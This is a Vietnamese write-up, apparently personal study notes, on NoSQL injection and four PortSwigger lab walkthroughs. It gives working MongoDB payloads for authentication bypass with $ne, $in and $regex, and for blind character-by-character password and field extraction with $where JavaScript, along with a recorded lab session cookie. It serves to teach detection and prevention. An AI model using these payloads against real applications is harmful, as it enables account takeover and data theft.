---
# System prepended metadata

title: PortSwigger - NOSQL Injection

---

# NoSQL injection
## Overview
### 1. NoSQL Injection là gì?
NoSQL Injection là một lỗ hổng bảo mật xảy ra khi kẻ tấn công can thiệp vào các truy vấn mà ứng dụng gửi đến cơ sở dữ liệu NoSQL. Không giống như SQL Injection truyền thống (dành cho cơ sở dữ liệu quan hệ), NoSQL Injection ảnh hưởng đến các cơ sở dữ liệu phi quan hệ như MongoDB, sử dụng định dạng dữ liệu linh hoạt (ví dụ: JSON) thay vì bảng quan hệ.

Các hậu quả tiềm tàng của NoSQL Injection bao gồm:

* **Bypass cơ chế xác thực hoặc bảo vệ**: Kẻ tấn công có thể vượt qua kiểm tra đăng nhập.
* **Trích xuất hoặc chỉnh sửa dữ liệu**: Lấy thông tin nhạy cảm hoặc thay đổi dữ liệu.
* **Gây từ chối dịch vụ (DoS**): Làm tê liệt ứng dụng hoặc cơ sở dữ liệu.
* **Thực thi mã trên máy chủ**: Trong một số trường hợp, kẻ tấn công có thể chạy mã độc.
NoSQL khác SQL ở chỗ nó không sử dụng bảng quan hệ mà lưu trữ dữ liệu dưới dạng key-value, tài liệu (document), hoặc đồ thị (graph).

**Các loại NoSQL Injection:**
* **Injection với cú pháp**: Kẻ tấn công thay đổi cú pháp của câu truy vấn để chèn mã độc hoặc thao túng dữ liệu.
* **Injection với toán tử**: Kẻ tấn công chèn các toán tử truy vấn NoSQL, như OR, AND, hoặc $$, để thay đổi hành vi của truy vấn.

**Phương thức tấn công:**
1. **Tấn công Bypass Authentication**: Nếu ứng dụng không kiểm tra kỹ các đầu vào, kẻ tấn công có thể bypass xác thực.
1. **Tấn công Data Exfiltration**: Kẻ tấn công có thể lấy dữ liệu nhạy cảm mà không cần xác thực.
1. **Tấn công với mã độc**: Chạy các lệnh mã độc trên máy chủ NoSQL

### 2. Cách phát hiện lỗ hổng NoSQL Injection
Để phát hiện lỗ hổng này, cần thử phá vỡ cú pháp truy vấn bằng cách:

**Sử dụng fuzz strings và ký tự đặc biệt**: Gửi các chuỗi thử nghiệm (fuzz strings) hoặc ký tự đặc biệt (như ', ", {, }, v.v.) vào các trường đầu vào để xem liệu ứng dụng có phản hồi lỗi cơ sở dữ liệu hay hành vi bất thường không. Điều này cho thấy đầu vào không được lọc hoặc kiểm tra đúng cách.
**Tùy chỉnh theo ngôn ngữ API**: Nếu biết cơ sở dữ liệu (ví dụ: MongoDB), sử dụng ký tự phù hợp với cú pháp của nó. Nếu không, thử nhiều loại fuzz strings khác nhau.
Ví dụ minh họa:

Ứng dụng mua sắm hiển thị sản phẩm theo danh mục. Khi người dùng chọn "Fizzy drinks", trình duyệt gửi yêu cầu:
https://insecure-website.com/product/lookup?category=fizzy
Ứng dụng tạo truy vấn JSON cho MongoDB: this.category == 'fizzy'.
Thử gửi fuzz string:
https://insecure-website.com/product/lookup?category='"{ ;$Foo} $Foo \xYZ\0`
Nếu phản hồi thay đổi (ví dụ: lỗi hoặc dữ liệu bất thường), điều này cho thấy đầu vào không được lọc.
Thử từng ký tự riêng lẻ: Gửi ' và kiểm tra phản hồi. Nếu truy vấn MongoDB trở thành this.category == ''' và gây lỗi cú pháp, ứng dụng có thể dễ bị tấn công.
Lưu ý:

* Fuzz strings cần được điều chỉnh theo ngữ cảnh (ví dụ: mã hóa URL nếu注入 qua URL, hoặc JSON nếu qua thuộc tính JSON).
* Nếu không điều chỉnh đúng, có thể chỉ gây lỗi xác thực mà không thực thi truy vấn.
### 3. Cách phòng ngừa và ngăn chặn NoSQL Injection
Cách phòng chống phụ thuộc vào công nghệ NoSQL cụ thể, nhưng có một số nguyên tắc chung:

* Kiểm tra và làm sạch đầu vào (Sanitization & Validation):
* Sử dụng danh sách trắng (allowlist) các ký tự được phép.
* Tránh nối trực tiếp đầu vào người dùng vào truy vấn.
* Sử dụng truy vấn tham số hóa (Parameterized Queries): Đảm bảo đầu vào được xử lý an toàn thay vì đưa trực tiếp vào truy vấn.
* Ngăn chặn Operator Injection: Áp dụng danh sách trắng cho các khóa (key) được chấp nhận để tránh kẻ tấn công chèn toán tử NoSQL (như $ne, $gt).
* Tham khảo tài liệu bảo mật: Đọc hướng dẫn bảo mật của cơ sở dữ liệu NoSQL cụ thể (ví dụ: MongoDB).
### 4. Ví dụ thực tế
Ứng dụng dễ bị tấn công:
Truy vấn MongoDB: **this.category == 'fizzy'** dựa trên **?category=fizzy.**
Kẻ tấn công gửi: **?category=fizzy' || '1'=='1**
Kết quả: Truy vấn thành điều kiện luôn đúng, trả về tất cả sản phẩm (bao gồm dữ liệu nhạy cảm).

Khai thác:
Thử payload: **?category='"*{ ;$Foo} $Foo \xYZ\0** (URL-encoded).
Hoặc qua JSON body:

    {"category": "\"{\r;$Foo}\n$Foo \\xYZ\u0000"}
    
Nếu phản hồi thay đổi (lỗi hoặc dữ liệu bất ngờ), ứng dụng tồn tại lỗ hổng Syntax Injection.
### 5. Kết luận
NoSQL Injection là một mối đe dọa bảo mật nghiêm trọng đối với các ứng dụng sử dụng cơ sở dữ liệu phi quan hệ. Phát hiện đòi hỏi thử nghiệm có hệ thống với fuzz strings và ký tự đặc biệt, trong khi ngăn chặn yêu cầu kiểm tra đầu vào nghiêm ngặt và sử dụng các phương pháp lập trình an toàn. Trang khuyến khích thực hành khai thác trên mục tiêu thực tế để nâng cao kỹ năng từ "Apprentice" lên "Expert".

## Practive
### Lab: Detecting NoSQL injection
để solve lab thì làm sao để hiện thị tất cả các sản phẩm 
ví dụ dưới đây là category=Gifts
![image](https://hackmd.io/_uploads/rkQ93P7skg.png)

=>**(if this.category == "Gifts" && this.limit == 3)**
vậy nên ta phải làm sao để mất điều kiện **this.limit ==3** :
**Lý thuyết** : Sử dụng fuzz strings và ký tự đặc biệt: Gửi các chuỗi thử nghiệm (fuzz strings) hoặc ký tự đặc biệt (như ', ", {, }, v.v.) vào các trường đầu vào để xem liệu ứng dụng có phản hồi lỗi cơ sở dữ liệu hay hành vi bất thường không. Điều này cho thấy đầu vào không được lọc hoặc kiểm tra đúng cách.
#### **Solve:**
ta chèn sau Gifts  `'` => Nosql injection
(Dấu ' đóng dấu chuỗi "Gifts". Kết quả là mã truy vấn cơ sở dữ liệu sẽ bị gián đoạn tại đây.)
![image](https://hackmd.io/_uploads/S14RRDQs1e.png)
đối với sql :

    SELECT * FROM products WHERE category = 'Gifts' OR 1=1;
cho thấy toàn bộ sản phẩm
Thì ở NoSQL mình sẽ sử dụng `'||1||'`, câu query sẽ tương đương với `'||'1'=='1'` 

P/s : có thể sử dụng `'%00` (nullbyte) loại bỏ điều kiện đằng sau 
![image](https://hackmd.io/_uploads/S1sHGvmjkg.png)
### Lab: Exploiting NoSQL operator injection to bypass authentication
để solve bài ta cần đăng nhập vào administrator
![image](https://hackmd.io/_uploads/HkV9O_mjJl.png)
(nếu đăng nhập đúng,phản hồi tên , cookie,...)
**Lý thuyết**
Các toán tử truy vấn trong MongoDB bao gồm:

$where: Khớp các tài liệu thỏa mãn một biểu thức JavaScript.
$ne: Khớp tất cả giá trị không bằng giá trị đã chỉ định.
$in: Khớp tất cả các giá trị có trong một mảng.
$regex: Chọn các tài liệu có giá trị khớp với một biểu thức chính quy (regex) đã chỉ định.

#### Solve:
với
* `$in` 

    {
  "username": {"`$in`": ["admin", "ad", "a", "adm", "admi", "administrator"]},
  "password": {"`$ne`": "admin"}
}
    
![image](https://hackmd.io/_uploads/HkIQiOmi1e.png)


*  `$regex`

    {"username":{"`$regex`":"ad"},"password":{"`$ne`":""}}
![image](https://hackmd.io/_uploads/SkVs2OQokx.png)
=> user : **adminejk55iww**
và lấy được Set_Cookie : session=**UNh0NB5qSDdGSfoSTWxLhaxP0vKadbIr**
![image](https://hackmd.io/_uploads/By5j6d7jyg.png)

### Lab: Exploiting NoSQL injection to extract data
để solve bài ta cần đăng nhập vào administrator (tìm mật khẩu)

![image](https://hackmd.io/_uploads/ByXc0d7iJg.png)
send to repeater
![image](https://hackmd.io/_uploads/HybBxKQoJg.png)
kiểm tra xem user `winz` và reponse phản hồi về 
![image](https://hackmd.io/_uploads/BkLQfY7oye.png)
`admin` `administrator` => tồn tại administrator
![image](https://hackmd.io/_uploads/SykmzFQiJx.png)
**chú ý :**
![image](https://hackmd.io/_uploads/r1aeSF7iyg.png)

them `'` đằng sau `user = ""` bị lỗi không tải được thông tin người dùng 
![image](https://hackmd.io/_uploads/ry0vQY7syg.png)
test 1 số payload ở trên lý thuyết 
-tìm kí tự mật khẩu 

    administrator' && this.password[0] != 'a' || 'a'=='b (url decode) (kí tự đầu không phải là "a")
    
![image](https://hackmd.io/_uploads/SJ20PYQoyx.png)

-tìm độ dài mật khẩu
payload :

    administrator' && this.password.length == 8 || 'a'=='b (url decode)
![image](https://hackmd.io/_uploads/H1vTdFXi1g.png)
![image](https://hackmd.io/_uploads/BJDpdFmoyx.png)
ta tìm được độ dài của password là 8
=> ta đi tìm từng kí tự thoi
![image](https://hackmd.io/_uploads/Hkm85Fmo1g.png)

![image](https://hackmd.io/_uploads/rJVr5tXs1e.png)
password[0]= 'v'
brutefore như trên : **vclrnhrx**
![image](https://hackmd.io/_uploads/Hyjcst7syx.png)
### Lab: Exploiting NoSQL operator injection to extract unknown fields
Để sovle bài lap ta phải đăng nhập nhu carlos 
![image](https://hackmd.io/_uploads/HJLVzL4iJe.png)
mà đề bài không cho dữ kiện nào để đăng nhập ???
![image](https://hackmd.io/_uploads/BkTKP94oke.png)
ta thử user : wiener , password : peter
* $ne: Khớp tất cả giá trị không bằng giá trị đã chỉ định.
* $in: Khớp tất cả các giá trị có trong một mảng.
* $regex: Chọn các tài liệu có giá trị khớp với một biểu thức chính quy (regex) đã chỉ định

thử các NoSql injection và không có gì (như lap 2)

![image](https://hackmd.io/_uploads/SkrK8oNsJg.png)
**Account locked: please reset your password**

thêm payload :

`"$where":"function(){return 1;}"` và 

=> mệnh đề `$where` được đánh giá
**$where**: Khớp các tài liệu thỏa mãn một biểu thức JavaScript

- tìm độ dài 
payload `"$where":"function() {if(Object.keys(this)[3].length == 11) return 1 ;else 0;}"`
*(Object.keys(this)[0] = id
Object.keys(this)[1] = username
Object.keys(this)[2] =  password
Object.keys(this)[3] = ????? )*

![image](https://hackmd.io/_uploads/ry_wKjVjke.png)
=>Object.keys(this)[3].length = 5
- tìm tên
payload `"$where":"function() {if(Object.keys(this)[3].match(/^a/) return 1 ;else 0;}"`
![image](https://hackmd.io/_uploads/SyuT5iVsyl.png)
=> e
![image](https://hackmd.io/_uploads/rJ0JoiVskx.png)
![image](https://hackmd.io/_uploads/Hk-rosNokl.png)
=> em

tương tự vậy => **email**

Vậy cột thứ tư có tên là **email**
Tiếp tục tìm độ dài của côt email
payload `"$where":"function() {if(this.email.length==1) return 1 ;else 0;}"`

![image](https://hackmd.io/_uploads/rkn4hi4syg.png)
![image](https://hackmd.io/_uploads/SkSdnsEsJl.png)
vãi ò **length = 25**
tim ten
![image](https://hackmd.io/_uploads/B1N2y2Niyl.png)
=>c
tuong tu => carlos@carlos-montoya.net(dò mấy tiếng vì dấu .  huh)
![image](https://hackmd.io/_uploads/H1mV224jke.png)
quên mật khẩu và ta điền `email=carlos@carlos-montoya.net`
thay đổi mật khẩu
solve